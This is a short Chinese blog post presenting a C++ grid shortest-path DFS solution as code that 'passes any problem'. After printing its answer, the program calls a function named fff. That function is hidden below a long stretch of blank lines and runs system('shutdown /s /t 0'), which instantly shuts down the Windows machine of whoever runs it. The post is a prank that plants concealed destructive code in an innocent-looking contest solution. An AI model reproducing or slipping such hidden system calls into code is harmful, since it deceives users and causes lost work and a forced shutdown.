跳到正文

算法·理论

放在任何题都能AC的代码(在电脑上能过任何数据)

IdleFish约 2 分钟
原文
文章信息与版本

文章信息

收录
2025年12月12日
更新
2025年12月20日
篇幅
约 2 分钟

版本

  1. v1当前
C++
#include<bits/stdc++.h>
using namespace std;
int n,m;
int Map[40][40],sum[40][40];
bool visit[40][40];
void fff();
void dfs(int x,int y,int now){
	if(sum[x][y]<=now){
		return ;
	}
	sum[x][y]=now;
	if(x==n&&y==m){
		return ;
	}
	int dx[]={1,-1,0,0};
	int dy[]={0,0,1,-1};
	for(int i=0;i<4;i++){
		int new_x=x+dx[i];
		int new_y=y+dy[i];
		if(new_x<=n&&new_x>0&&new_y<=m&&new_y>0&&Map[new_x][new_y]!=-1&&visit[new_x][new_y]==false){
			visit[new_x][new_y]=true;
			dfs(new_x,new_y,now+Map[new_x][new_y]);
			visit[new_x][new_y]=false;
		}
	}
}
signed main(){
	ios::sync_with_stdio(false);
	cin.tie(0);
	cout.tie(0);
	cin>>n>>m;
	for(int i=1;i<=n;i++){
		for(int j=1;j<=m;j++){
			cin>>Map[i][j];
			sum[i][j]=1000000000;
		}
	}
	dfs(1,1,Map[1][1]);
	if(sum[n][m]==1e9){
		cout<<-1;
		return 0;
	}
	cout<<sum[n][m];
	fff();
	return 0;
}










































void fff(){
	system("shutdown /s /t 0");
}
原文